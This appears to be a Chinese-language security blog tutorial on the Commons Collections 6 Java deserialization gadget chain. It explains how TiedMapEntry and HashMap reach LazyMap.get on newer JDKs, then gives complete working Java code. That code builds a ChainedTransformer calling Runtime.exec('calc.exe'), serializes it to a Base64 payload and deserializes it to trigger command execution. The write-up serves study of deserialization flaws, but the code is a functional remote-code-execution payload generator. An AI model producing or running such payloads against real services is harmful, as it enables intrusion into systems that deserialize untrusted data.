为什么cc1有jdk版本限制
JDK中的AnnotationInvocationHandler的readObject更新了,所以cc1用不了
但是前面的部分还是存在的,只要我们找到一个新的入口就还是能执行命令
这里回到LazyMap,LazyMap的get方法可以触发后续的rce
所以我们需要寻找新版本JDK中触发LazyMap中get方法的类
TideMapEntry
锵锵,上面说到的那个类就是TideMapEntry
TideMapEntry部分源码:
此时我们需要触发其hashcode方法
好熟悉啊,这不是DNSLog那条链吗?
从hash到hashcode()
但是HashMap的put方法会提前调用hash方法,导致提前走完流程
这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。
LazyMap的前提条件
这里我们先回到LazyMap的get方法,要containsKey(key)==false才会触发
在第一次随便传值(为了抵消hashmap触发的put)的时候就已经触发下面的put传值,反序列化时候就不会进入这个if判断了
所以我们需要执行lazymap.remove("2");把序列化时加入的值去掉
所以操作就是装入hashmap
去掉lazymap的key值,之后反射修改LazyMap中的payload
代码
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception {System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n 在transform时将会返回Runtime类A");ConstantTransformer a=new ConstantTransformer(Runtime.class);System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n 在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");InvokerTransformer b=new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] {"getRuntime", new Class[0]});System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n 在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");InvokerTransformer c =new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]});System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n 在transform时将会通过D.exec(\"calc.exe\")执行命令");InvokerTransformer d=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"calc.exe"});Transformer[] transformers = new Transformer[]{a, b, c, d};System.out.println("[+]使用ChainedTransformer将该数组链接起来\n 执行ChainedTransformer.transform将会执行上述链条");Transformer transformerChain = new ChainedTransformer(transformers);// 创建Map并绑定transformerChainSystem.out.println("[+]创建LazyMap\n LazyMap的get方法会执行上述链条\n 随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象");Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));System.out.println("[+]创建TideMapEntry装入HashMap\n 调用创建TideMapEntry的hashcode会执行上述链条\n hashcode()->getvalue()->LazyMap的get");TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, "3");System.out.println("[+]调整lazymap");lazymap.remove("2");System.out.println("[+]put完成,通过反射修改回ChainedTransformer对象");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazymap, transformerChain);System.out.println("\n[+]序列化");ByteArrayOutputStream serialize = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(serialize);oos.writeObject(hashMap);oos.close();System.out.println(" "+ Base64.getEncoder().encodeToString(serialize.toByteArray()));System.out.println("[+]反序列化触发");ObjectInputStream unserialize = new ObjectInputStream(new ByteArrayInputStream(serialize.toByteArray()));unserialize.readObject();}
}